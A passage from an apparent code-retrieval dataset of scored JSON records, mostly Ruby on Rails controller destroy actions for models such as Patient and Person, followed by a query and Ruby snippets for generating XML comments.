"docid": "aeb62260a56e534cf8f6280a860150bc",
"score": "0.67262626",
"text": "def destroy\n @residence = Residence.find(params[:id])\n @residence.destroy\n\n respond_to do |format|\n format.html { redirect_to residences_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1ecb91503efdd69874c8d98482524913",
"score": "0.6723499",
"text": "def destroy\n @instructor1 = Instructor1.find(params[:id])\n @instructor1.destroy\n\n respond_to do |format|\n format.html { redirect_to instructor1s_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5420343adf6c4076ab7755ef30cac184",
"score": "0.6722627",
"text": "def destroy\n @farm_practice_typology.destroy\n respond_to do |format|\n format.html { redirect_to farm_practice_typologies_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "78d95724a4e0e9fbf05e809024474b9c",
"score": "0.6720871",
"text": "def destroy\n @person = Person.find(params[:id])\n @person.destroy\n respond_to do |format|\n format.json { render json: {}, status: :ok }\n end\n end",
"title": ""
},
{
"docid": "16aab7b647e53d7c98bb009b7594b766",
"score": "0.6719647",
"text": "def destroy\n @patrocinio = Patrocinio.find(params[:id])\n @patrocinio.destroy\n\n respond_to do |format|\n format.html { redirect_to patrocinios_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "69ee65ce08a33ff3453bff2d73b8b5cc",
"score": "0.6715739",
"text": "def destroy\n @patient.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "757ad713b6d70fa9f7e6fb13007fd8ae",
"score": "0.6690989",
"text": "def destroy\n @habitant.destroy\n respond_to do |format|\n format.html { redirect_to habitants_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "afc8e3453baa4e31d4aa7b53dd37094a",
"score": "0.66793483",
"text": "def destroy\n @patient.destroy\n respond_to do |format|\n format.html { redirect_to physician_patients_url, notice: 'Patient was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "222cfb541aca0b521acc434b62d31dab",
"score": "0.667527",
"text": "def destroy\n @datos_personal.destroy\n respond_to do |format|\n format.html { redirect_to datos_personals_url, notice: 'Datos personal was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c4ee1b654e930df58069d41839b6f22c",
"score": "0.6672418",
"text": "def destroy\n @psycho_physio_alteration = PsychoPhysioAlteration.find(params[:id])\n @psycho_physio_alteration.destroy\n\n respond_to do |format|\n format.html { redirect_to psycho_physio_alterations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9a06615dd401d6cd465e191abbb3ff0c",
"score": "0.66641456",
"text": "def destroy\n @claimant = Claimant.find(params[:id])\n @claimant.destroy\n\n respond_to do |format|\n format.html { redirect_to claimants_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cabea698907101b92d8a5da10db705ef",
"score": "0.6658027",
"text": "def destroy\n @alumni = Alumni.find(params[:id])\n @alumni.destroy\n\n respond_to do |format|\n format.html { redirect_to alumnis_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "47a79d842093b2eed2ae3d2d0ad6042a",
"score": "0.6656977",
"text": "def destroy\n @critic = Critic.find(params[:id])\n @critic.destroy\n\n respond_to do |format|\n format.html { redirect_to critics_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8ed8e8552fa25cbb8fe0c6fa56cafa4f",
"score": "0.6656916",
"text": "def destroy\n @person.destroy\n head :no_content\n end",
"title": ""
},
{
"docid": "8ed8e8552fa25cbb8fe0c6fa56cafa4f",
"score": "0.6656916",
"text": "def destroy\n @person.destroy\n head :no_content\n end",
"title": ""
},
{
"docid": "9baf082f4854501a60e50833976a9e7a",
"score": "0.66547865",
"text": "def destroy\n @person = Person.find(params[:id])\n @person.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "99170eef19af4181242a1be4bd8d71ab",
"score": "0.6653877",
"text": "def destroy\n @humanidades1 = Humanidades1.find(params[:id])\n @humanidades1.destroy\n\n respond_to do |format|\n format.html { redirect_to humanidades1s_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2c456168be57f9d0082b5bc10678768d",
"score": "0.66365033",
"text": "def destroy\n @diagnoz = Diagnoz.find(params[:id])\n @diagnoz.destroy\n\n respond_to do |format|\n format.html { redirect_to diagnozs_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "fa177fc0190b3a49b9123752c51ef116",
"score": "0.66288686",
"text": "def destroy\n @pacient.destroy\n respond_to do |format|\n format.html { redirect_to pacients_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "36d97291449e423296b0337da18e1c57",
"score": "0.6625763",
"text": "def destroy\n @persona_tipo = PersonaTipo.find(params[:id])\n @persona_tipo.destroy\n\n respond_to do |format|\n format.html { redirect_to persona_tipos_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "28114b2d89e569f7582a805857bc171a",
"score": "0.66193753",
"text": "def destroy\n @kata.destroy\n respond_to do |format|\n format.html { redirect_to katas_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "85ff18d799de5248555386b723e20436",
"score": "0.6619259",
"text": "def destroy\n @anuncio.destroy\n respond_to do |format|\n format.html { redirect_to @street, notice: 'Anuncio was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "aef2e47d6a0f35db1aca1edc43bad033",
"score": "0.6618951",
"text": "def destroy\n @taxinomy = Taxinomy.find(params[:id])\n @taxinomy.destroy\n\n respond_to do |format|\n format.html { redirect_to taxinomies_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "bd8e8fb6324a0f88882139f721781ea0",
"score": "0.6614755",
"text": "def destroy\n @sectorial.destroy\n respond_to do |format|\n format.html { redirect_to sectorials_url, notice: 'Sectorial was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d13a3e12c2fe714102c7ad6cc0a96bda",
"score": "0.66136533",
"text": "def destroy\n @nail_salon = NailSalon.find(params[:id])\n @nail_salon.destroy\n\n respond_to do |format|\n format.html { redirect_to nail_salons_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "73584a68b372aa61e5e46dcd18614138",
"score": "0.6613349",
"text": "def destroy\n @owner_patient = OwnerPatient.find(params[:id])\n @owner_patient.destroy\n\n respond_to do |format|\n format.html { redirect_to owner_patients_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "bb805156014d8161e010d1f626ebf3f5",
"score": "0.6604068",
"text": "def destroy\n @ministerio = Ministerio.find(params[:id])\n @ministerio.destroy\n\n respond_to do |format|\n format.html { redirect_to ministerios_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "dde43fa8bee6c27eb1feef37eb74cb6e",
"score": "0.6603377",
"text": "def destroy\n @person_info = PersonInfo.find(params[:id])\n @person_info.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "96cb28a68c27b7d8ccef1ef4f18472ec",
"score": "0.6601401",
"text": "def destroy\n @inhabitant = Inhabitant.find_by_id(params[:id])\n @inhabitant.destroy\n\n respond_to do |format|\n format.html { redirect_to inhabitants_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "70933d7389b4c9ccea5b37b36bbdf5fd",
"score": "0.6597907",
"text": "def destroy\n @persona = Persona.find(params[:id])\n @persona.destroy\n\n respond_to do |format|\n format.html { redirect_to personas_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "70933d7389b4c9ccea5b37b36bbdf5fd",
"score": "0.6597907",
"text": "def destroy\n @persona = Persona.find(params[:id])\n @persona.destroy\n\n respond_to do |format|\n format.html { redirect_to personas_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "70933d7389b4c9ccea5b37b36bbdf5fd",
"score": "0.6597907",
"text": "def destroy\n @persona = Persona.find(params[:id])\n @persona.destroy\n\n respond_to do |format|\n format.html { redirect_to personas_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "bdc681f0baab42290a2c094bad1672b1",
"score": "0.6596207",
"text": "def destroy\n @patient = @client.patients.find(params[:id]) unless current_user.admin?\n @patient = Patient.find(params[:id]) if current_user.admin?\n if @patient.deleted_at.blank?\n @patient.destroy(validate: false)\n else\n @patient.revive(validate: false)\n end\n \n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "09b75dd591cc406318f0cf6d78ffe709",
"score": "0.65929395",
"text": "def destroy\n @clinicalsection = Clinicalsection.find(params[:id])\n @clinicalsection.destroy\n\n respond_to do |format|\n format.html { redirect_to clinicalsections_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ddd3367589986d132e65f566608c9e1a",
"score": "0.65921783",
"text": "def destroy\n @witness_salon.destroy\n respond_to do |format|\n format.html { redirect_to witness_salons_url, notice: 'Witness salon was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "defe5c2394affd72c5d5c36785e578ac",
"score": "0.659141",
"text": "def destroy\n @hospital.destroy\n respond_to do |format|\n format.html { redirect_to hospitals_url, notice: 'Hospital was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "869cf473af82b8c2bf2d8a5e049969cf",
"score": "0.658772",
"text": "def destroy\n @person.destroy\n respond_to do |format|\n format.html { redirect_to admin_people_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5c8fb7cc1cb90d6d14d75d645a10f991",
"score": "0.65817225",
"text": "def destroy\n # @person = Person.find(params[:id])\n @person.destroy\n\n respond_to do |format|\n format.html { redirect_to people_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "fef3852a3974e671b9b5ddfcf5df3e8e",
"score": "0.65803313",
"text": "def destroy\n @patient = Patient.find(params[:id])\n @patient.destroy\n\n respond_to do |format|\n format.html { redirect_to patients_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "fef3852a3974e671b9b5ddfcf5df3e8e",
"score": "0.65803313",
"text": "def destroy\n @patient = Patient.find(params[:id])\n @patient.destroy\n\n respond_to do |format|\n format.html { redirect_to patients_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "fef3852a3974e671b9b5ddfcf5df3e8e",
"score": "0.65803313",
"text": "def destroy\n @patient = Patient.find(params[:id])\n @patient.destroy\n\n respond_to do |format|\n format.html { redirect_to patients_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "fef3852a3974e671b9b5ddfcf5df3e8e",
"score": "0.65803313",
"text": "def destroy\n @patient = Patient.find(params[:id])\n @patient.destroy\n\n respond_to do |format|\n format.html { redirect_to patients_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1d468d8dcfce7045dedf0ce11c68c0f8",
"score": "0.6573971",
"text": "def destroy\n @alumno.destroy\n respond_to do |format|\n format.html { redirect_to grupos_path }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "187cc914ebd4b11b5377f441a4fd47ec",
"score": "0.657061",
"text": "def destroy\n @taxon_determination.destroy\n respond_to do |format|\n format.html { redirect_to taxon_determinations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "87f9f230ef38326205e19e82893f187a",
"score": "0.6570339",
"text": "def destroy\n @person = Person.find(params[:id])\n id = @person.id\n\n if @person.destroy\n render json: { status: 'DELETE Success' }, status: :ok\n else\n render json: { status: 'Error', message:'Error deleting person', person: @person.errors }, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "b5d00529f64878033f28156e8d276598",
"score": "0.65685904",
"text": "def destroy\n @historial = Historial.find(params[:id])\n @historial.destroy\n\n respond_to do |format|\n format.html { redirect_to historials_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "c77f2ae848e9dc4375e05fe68defe689",
"score": "0.65671724",
"text": "def destroy\n @patient = Patient.find(params[:id])\n @patient.destroy\n\n respond_to do |format|\n format.html { redirect_to patients_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "559328f0453278cc03f9d5d0ed3581a1",
"score": "0.6564599",
"text": "def destroy\n @natulang = Natulang.find(params[:id])\n @natulang.destroy\n\n respond_to do |format|\n format.html { redirect_to natulangs_url }\n format.json { head :no_content }\n end\n \n end",
"title": ""
},
{
"docid": "c755ffd25b616d27e99478e71a1f02f1",
"score": "0.6562866",
"text": "def destroy\n @alumno = Alumno.find(params[:id])\n @alumno.destroy\n\n respond_to do |format|\n format.html { redirect_to alumnos_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4688178cb09a3859cd43c68f1e096230",
"score": "0.65603656",
"text": "def destroy\n @contacter = Contacter.find(params[:id])\n @contacter.destroy\n\n respond_to do |format|\n format.html { redirect_to contacters_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "689d5a07a403c4b765ba178e4aff08a3",
"score": "0.6560329",
"text": "def delete\n client.delete(\"/#{id}\")\n end",
"title": ""
},
{
"docid": "795e9d4ec311afbcb7dd18b6e7175fdf",
"score": "0.6560083",
"text": "def destroy\n @notificaciones_admin_actualouse = NotificacionesAdminActualouse.find(params[:id])\n @notificaciones_admin_actualouse.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "7ced1f4972a57850a67bc5e561d98012",
"score": "0.6554303",
"text": "def destroy\n @proficiency = Proficiency.find(params[:id])\n @proficiency.destroy\n\n respond_to do |format|\n format.html { redirect_to proficiencies_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "50f6166b42de20feeb9e1a43744b51bd",
"score": "0.65492123",
"text": "def destroy\n @controlpersona = Controlpersona.find(params[:id])\n @controlpersona.destroy\n\n respond_to do |format|\n format.html { redirect_to controlpersonas_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6e16af2c9b34fdc7004827b6fc5342ad",
"score": "0.65480053",
"text": "def destroy\n @mystic.destroy\n respond_to do |format|\n format.html { redirect_to mystics_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4c1c164b581dbae14285797e584e8fb7",
"score": "0.65470815",
"text": "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"title": ""
},
{
"docid": "e9347fc7b2694c7ff7b26e58719e91b8",
"score": "0.6546072",
"text": "def destroy\n @personal = Personal.find(params[:id])\n @personal.destroy\n\n respond_to do |format|\n format.html { redirect_to(personals_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "7b9c99e8661e342eb34fb0eb86fc57c9",
"score": "0.65401924",
"text": "def destroy\n @person = people_type.find(params[:id])\n @person.destroy\n\n respond_to do |format|\n format.html { redirect_to :action => \"index\" }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "01f1c263c088927f169c7887717fadd5",
"score": "0.6539877",
"text": "def destroy\n @person.destroy\n respond_to do |format|\n format.html { redirect_to people_url, notice: 'Клиент удален из базы.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "dcc9c8b0059a1db764300a97e1c3c368",
"score": "0.65348804",
"text": "def destroy\n @education_service_provided_typology.destroy\n respond_to do |format|\n format.html { redirect_to education_service_provided_typologies_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3ce8aba07b4891bd69813ed3cf9fbae6",
"score": "0.6532181",
"text": "def destroy\n @alumno = Alumno.find(params[:id])\n @alumno.destroy\n\n respond_to do |format|\n format.html { redirect_to alumnos_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "b4cdda1298e4c379f1f889ff7c8ffa8b",
"score": "0.6531079",
"text": "def destroy\n @resident.destroy\n respond_to do |format|\n format.html { redirect_to residents_url, notice: 'Resident (' + @resident.name + ') was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "dd8ecfc0cf74b70d1d736390b0a5a9f0",
"score": "0.65297914",
"text": "def destroy\n @ref_pysician.destroy\n respond_to do |format|\n format.html { redirect_to ref_pysicians_url, notice: 'Ref pysician was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e565f0db7c84ec729723fe814f935c42",
"score": "0.6528062",
"text": "def destroy\n @trophy.destroy\n respond_to do |format|\n format.html { redirect_to trophies_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "36109f530e6ded87fab813b77544f53f",
"score": "0.6525833",
"text": "def destroy\n @patrimonio = Patrimonio.find(params[:id])\n @patrimonio.destroy\n\n respond_to do |format|\n format.html { redirect_to(patrimonios_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "fbd53b1d612573ba8e5c95be7c71d6e8",
"score": "0.6521895",
"text": "def destroy\n @personaje_mision = PersonajeMision.find(params[:id])\n @personaje_mision.destroy\n\n respond_to do |format|\n format.html { redirect_to personaje_misions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0a9c2c9b28d8e4a41e25018770e68047",
"score": "0.65191525",
"text": "def destroy\n @instructor = Instructor.find(params[:id])\n @instructor.destroy\n\n respond_to do |format|\n format.html { redirect_to instructores_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e8d2e4eb6ad61afd979b92ac1ae4c3e6",
"score": "0.6516792",
"text": "def destroy\n @patient.destroy\n\n respond_to do |format|\n format.html { redirect_to patients_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4a8cab1d04f4b97ac41d6e051a75010f",
"score": "0.651552",
"text": "def destroy\n @information_personal.destroy\n respond_to do |format|\n format.html { redirect_to information_personals_url, notice: t('personal_info.destroy_message') }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8f29a2c4b85069f0ed218d9020de8431",
"score": "0.65140635",
"text": "def destroy\n human = current_user.humen.find(params[:human_id])\n\n @patient = human.patient.new(patient_params)\n\n @patient.destroy\n respond_to do |format|\n format.html { redirect_to patients_url, notice: 'La Ficha de Atencion ha sido eliminada.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c197cfd45cfa8e84777009bd6b28787b",
"score": "0.6513408",
"text": "def destroy\n @person = Person.find(params[:id])\n @person.destroy\n\n respond_to do |format|\n format.html { redirect_to people_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c197cfd45cfa8e84777009bd6b28787b",
"score": "0.6513408",
"text": "def destroy\n @person = Person.find(params[:id])\n @person.destroy\n\n respond_to do |format|\n format.html { redirect_to people_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c197cfd45cfa8e84777009bd6b28787b",
"score": "0.6513408",
"text": "def destroy\n @person = Person.find(params[:id])\n @person.destroy\n\n respond_to do |format|\n format.html { redirect_to people_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c197cfd45cfa8e84777009bd6b28787b",
"score": "0.6513408",
"text": "def destroy\n @person = Person.find(params[:id])\n @person.destroy\n\n respond_to do |format|\n format.html { redirect_to people_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7ee29466c3c179b9b702dc9038444c91",
"score": "0.65105075",
"text": "def destroy\n @person = Person.find(params[:id])\n @person.destroy\n\n respond_to do |format|\n format.html { redirect_to people_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "7ee29466c3c179b9b702dc9038444c91",
"score": "0.65105075",
"text": "def destroy\n @person = Person.find(params[:id])\n @person.destroy\n\n respond_to do |format|\n format.html { redirect_to people_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "7ee29466c3c179b9b702dc9038444c91",
"score": "0.65105075",
"text": "def destroy\n @person = Person.find(params[:id])\n @person.destroy\n\n respond_to do |format|\n format.html { redirect_to people_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "912dd914139c0b50cf1d24a7b5fa1380",
"score": "0.65076643",
"text": "def destroy\n @resident.destroy\n respond_to do |format|\n format.html { redirect_to residents_url, notice: 'Resident was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e87304ba8b618f72579ffb2c29cc9f1b",
"score": "0.6506552",
"text": "def destroy\n @thesis_examination.destroy\n respond_to do |format|\n format.html { redirect_to thesis_examinations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "19565314e1a8c989e4af16e076ed0ba5",
"score": "0.6503169",
"text": "def destroy\n @biometria.destroy\n respond_to do |format|\n format.html { redirect_to index_biometria_path(params[:paciente_id]), notice: 'Biometria elimino correctamente.' }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
925285125f7dad828c249499931a7eaf | Returns an XML comment. comment("Hello, world") => | [
{
"docid": "debabaf3feff43d085b1412cd8488328",
"score": "0.6636164",
"text": "def comment(contents='', &block)\n contents = build(:blank, Context, &block) if block\n '<!-- %s -->' % indent(contents)\n end",
"title": ""
}
] | [
{
"docid": "15c13b3dbb8ff87a2c269f3130f496ab",
"score": "0.7965608",
"text": "def comment(text)\n @xml << \"<!-- #{text} -->\"\n nil\n end",
"title": ""
},
{
"docid": "d886e19fde6cdf2de1c31de38fb78d2d",
"score": "0.7079276",
"text": "def comment(text)\n @out << \"<!-- #{text} -->\"\n nil\n end",
"title": ""
},
{
"docid": "eaa22369bd29ff2577e28b75e6fbbcb0",
"score": "0.6922904",
"text": "def comment(text)\n@out << \"<!-- #{text} -->\"\nnil\nend",
"title": ""
},
{
"docid": "eed6a36e7d6ce935f9810378425424b0",
"score": "0.6759114",
"text": "def create_comment(string, &block)\n Nokogiri::XML::Comment.new(self, string.to_s, &block)\n end",
"title": ""
},
{
"docid": "7c1e2c99d0c85589e7931688ad6c9b83",
"score": "0.6742805",
"text": "def comment(string); end",
"title": ""
},
{
"docid": "7c1e2c99d0c85589e7931688ad6c9b83",
"score": "0.6742805",
"text": "def comment(string); end",
"title": ""
},
{
"docid": "7c1e2c99d0c85589e7931688ad6c9b83",
"score": "0.6742805",
"text": "def comment(string); end",
"title": ""
},
{
"docid": "7c1e2c99d0c85589e7931688ad6c9b83",
"score": "0.6742805",
"text": "def comment(string); end",
"title": ""
},
{
"docid": "8deadfa25f4034ac34fda1787a11d36e",
"score": "0.6661153",
"text": "def create_comment(content)\n DOM(`#@native.createComment(#{content})`)\n end",
"title": ""
},
{
"docid": "bab34e88195f9e725d3e087a310e9440",
"score": "0.6618477",
"text": "def comment( text = nil, &block )\n make_indent if @indent > 0\n \n @serial = @serial + 1\n @buffer << \"<!-- \"\n \n if text then \n @buffer << encode(text)\n elsif !block.nil? then\n capture(&block)\n end\n \n @buffer << \" -->\"\n end",
"title": ""
},
{
"docid": "781213f3977767534193628b0356490a",
"score": "0.6550055",
"text": "def new_comment comment, line_no = nil\n c = RDoc::Comment.new comment, @top_level, :ruby\n c.line = line_no\n c.format = @markup\n c\n end",
"title": ""
},
{
"docid": "cf4ae90bd7bd7c4c1c68a690d4a5a151",
"score": "0.6548804",
"text": "def comment name\n\t\tempty = \"//\\n\"\n\n\t\tret = ''\n\t\tret << empty << empty\n\t\tret << \"// #{name}\\n\"\n\t\tret << \"// This is an object created by COBGIN\\n\"\n\t\tret << empty << empty\n\t\tret << \"// by Mickey Barboi\\n\"\n\t\tret << empty << empty << \"\\n\\n\"\n\n\t\tret\n\tend",
"title": ""
},
{
"docid": "62bc25e7d563288829a9ee8177184b1b",
"score": "0.6517218",
"text": "def comment(*args)\n #:stopdoc:\n args.push(lambda{|*x| yield(*x) }) if block_given?\n args.push GAP if args.empty?\n jig = (Cache[:comment] ||= new(\"<!-- \".freeze, GAP, \" -->\\n\".freeze).freeze)\n jig.plug(GAP, *args)\n #:startdoc:\n end",
"title": ""
},
{
"docid": "e21ca63e405e7f16e8cee9c935fff63a",
"score": "0.6498112",
"text": "def test_string_arg\n\tstr = ''\n\tw = NQXML::Writer.new(str)\n\n\tw.write('data')\n\tassert_equals('data', str)\n\n\tw.comment('foo')\n\tassert_equals('data<!--foo-->', str)\n end",
"title": ""
},
{
"docid": "a34aa938eebd941a9c2ccc6cb7b64947",
"score": "0.6430877",
"text": "def create_comment(string, &block); end",
"title": ""
},
{
"docid": "a34aa938eebd941a9c2ccc6cb7b64947",
"score": "0.6430877",
"text": "def create_comment(string, &block); end",
"title": ""
},
{
"docid": "4d6b8ff72519cdd9c67b54bc966ab56f",
"score": "0.63909394",
"text": "def convert_xml_comment(el, opts)\n block = el.options[:category] == :block\n indent = SPACE * @current_indent\n content = el.value\n content.gsub!(/^<!-{2,}\\s*/, \"\") if content.start_with?(\"<!--\")\n content.gsub!(/-{2,}>$/, \"\") if content.end_with?(\"-->\")\n result = content.lines.map.with_index do |line, i|\n (i.zero? && !block ? \"\" : indent) +\n @pastel.decorate(\"#{@symbols[:hash]} \" + line.chomp,\n *@theme[:comment])\n end.join(NEWLINE)\n block ? result + NEWLINE : result\n end",
"title": ""
},
{
"docid": "fd73803d95918bf9b05a22292c46002f",
"score": "0.6360233",
"text": "def rude_comment\n @res.write GO_AWAY_COMMENT\n end",
"title": ""
},
{
"docid": "80c3b9fc0cc0695015659227cea18041",
"score": "0.63414794",
"text": "def nice_comment\n @res.write THANK_YOU_COMMENT\n end",
"title": ""
},
{
"docid": "19acde105d1e2bb431c0d94dcb9be8d8",
"score": "0.63288206",
"text": "def comment(str)\n @out.comment(str)\n end",
"title": ""
},
{
"docid": "89d5838113601549dc7a281eb2035360",
"score": "0.6322932",
"text": "def add_comment comment\n \"\\n###### #{comment} ######\\n\" \n end",
"title": ""
},
{
"docid": "56259323e3911f57077508c3ffeb8355",
"score": "0.6286163",
"text": "def description\n markup @comment\n end",
"title": ""
},
{
"docid": "da1c481d5ff23ee7d9d705da7c46375b",
"score": "0.6283246",
"text": "def start_comment(description = 'Description')\n str = \"#{@indent}/**\\n\"\n str += \"#{@indent} *\\t@brief\\t<##{description}#>\\n\"\n str \n end",
"title": ""
},
{
"docid": "2802df1dd448afc3c357e4dd91c7b8ce",
"score": "0.6280415",
"text": "def comment; end",
"title": ""
},
{
"docid": "2802df1dd448afc3c357e4dd91c7b8ce",
"score": "0.6280415",
"text": "def comment; end",
"title": ""
},
{
"docid": "2802df1dd448afc3c357e4dd91c7b8ce",
"score": "0.6280415",
"text": "def comment; end",
"title": ""
},
{
"docid": "2802df1dd448afc3c357e4dd91c7b8ce",
"score": "0.6280415",
"text": "def comment; end",
"title": ""
},
{
"docid": "2802df1dd448afc3c357e4dd91c7b8ce",
"score": "0.6280415",
"text": "def comment; end",
"title": ""
},
{
"docid": "2802df1dd448afc3c357e4dd91c7b8ce",
"score": "0.6280415",
"text": "def comment; end",
"title": ""
},
{
"docid": "2802df1dd448afc3c357e4dd91c7b8ce",
"score": "0.6280415",
"text": "def comment; end",
"title": ""
},
{
"docid": "2802df1dd448afc3c357e4dd91c7b8ce",
"score": "0.6280415",
"text": "def comment; end",
"title": ""
},
{
"docid": "2802df1dd448afc3c357e4dd91c7b8ce",
"score": "0.6280415",
"text": "def comment; end",
"title": ""
},
{
"docid": "2802df1dd448afc3c357e4dd91c7b8ce",
"score": "0.6280415",
"text": "def comment; end",
"title": ""
},
{
"docid": "2802df1dd448afc3c357e4dd91c7b8ce",
"score": "0.6280415",
"text": "def comment; end",
"title": ""
},
{
"docid": "2802df1dd448afc3c357e4dd91c7b8ce",
"score": "0.6280415",
"text": "def comment; end",
"title": ""
},
{
"docid": "2802df1dd448afc3c357e4dd91c7b8ce",
"score": "0.6280415",
"text": "def comment; end",
"title": ""
},
{
"docid": "2802df1dd448afc3c357e4dd91c7b8ce",
"score": "0.6280415",
"text": "def comment; end",
"title": ""
},
{
"docid": "2802df1dd448afc3c357e4dd91c7b8ce",
"score": "0.6280415",
"text": "def comment; end",
"title": ""
},
{
"docid": "2802df1dd448afc3c357e4dd91c7b8ce",
"score": "0.6280415",
"text": "def comment; end",
"title": ""
},
{
"docid": "2802df1dd448afc3c357e4dd91c7b8ce",
"score": "0.6280415",
"text": "def comment; end",
"title": ""
},
{
"docid": "db310978ceecb8bbc51e86a6d912bc55",
"score": "0.6258946",
"text": "def getComment(var)\n return \"/* \" << var.text << \" */\\n\"\n end",
"title": ""
},
{
"docid": "371d1635076ed00849e99a1d32cc3543",
"score": "0.6234735",
"text": "def comment str\n self.add_comment(\"This is a paragraph comment for the paragraph\", \"OCELOT Commenter\");\n end",
"title": ""
},
{
"docid": "a0910b46303b6ec5b551b549bc2d2e28",
"score": "0.6230513",
"text": "def comment!(content)\n build! do\n @_crafted << \"<!-- \"\n @_crafted << Tools.escape(content.to_s)\n @_crafted << \" -->\"\n end\n end",
"title": ""
},
{
"docid": "ff43b55b7b5f56fe8e093fdcb719e17a",
"score": "0.62038934",
"text": "def add_comment(comment)\n \"\\n+++++++++++++++++++++++++++++++++++++++++ #{comment} ++++++++++++++++++++++++++++++++++++++++++++++\\n\"\n end",
"title": ""
},
{
"docid": "54aabc1ce7ceda599d152c865aebb8f4",
"score": "0.6189837",
"text": "def test_assemble_xml_file\n @worksheet.write_comment(\n 1, 1, 'Some text',\n author: 'John', visible: nil, color: 81,\n font: 'Calibri', font_size: 20, font_family: 2\n )\n\n comments = @worksheet.comments\n comments.assemble_xml_file\n result = got_to_array(comments.instance_variable_get(:@writer).string)\n\n expected = expected_to_array(expected_xml)\n\n assert_equal(expected, result)\n end",
"title": ""
},
{
"docid": "1d313319256c5ad84463169d06050352",
"score": "0.61519796",
